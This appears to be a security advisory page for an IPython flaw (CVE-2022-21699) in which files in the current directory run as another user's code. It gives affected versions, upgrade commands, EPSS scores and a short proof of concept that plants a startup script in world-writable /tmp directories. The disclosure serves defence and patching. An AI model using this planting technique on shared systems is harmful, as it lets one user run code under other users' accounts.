Loading advisory.
Loading advisory.
Execution with Unnecessary Privileges in ipython
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Published 2022-01-19 21:15 UTC · Modified 2026-09-10 03:49 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| ipython | PyPI | < 5.11 >= 6.0.0, < 7.16.3 >= 7.17.0, < 7.31.1 >= 8.0.0, < 8.0.1 git commits in https://github.com/ipython/ipython: < 46a51ed69cdf41b4333943d9ceeb945c4ede5668 < 6.0.0rc1 versions 0.10, 0.10.1, 0.10.2, 0.11, 0.12, 0.12.1, 0.13, 0.13.1, 0.13.2, 0.6.10, 0.6.11, 0.6.12, 0.6.13, 0.6.14, 0.6.15, 0.6.4, 0.6.5, 0.6.6, 0.6.7, 0.6.8 and 118 more | 5.11, 7.16.3, 7.31.1, 8.0.1, 46a51ed69cdf41b4333943d9ceeb945c4ede5668, 6.0.0rc1 | pip install --upgrade 'ipython>=5.11'pip install --upgrade 'ipython>=7.16.3'pip install --upgrade 'ipython>=7.31.1'pip install --upgrade 'ipython>=8.0.1'pip install --upgrade 'ipython>=46a51ed69cdf41b4333943d9ceeb945c4ede5668'pip install --upgrade 'ipython>=6.0.0rc1' |
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Proof of concept
User1:
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.pyUser2:
cd /tmp
ipythonUser2 will see:
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secretsSee https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,
Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.007 on 2026-11-24 to 0.006 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.007 | first score | v2026.06.15 |
| 2026-11-26 | 0.006 | 0.007 | v2026.06.15 |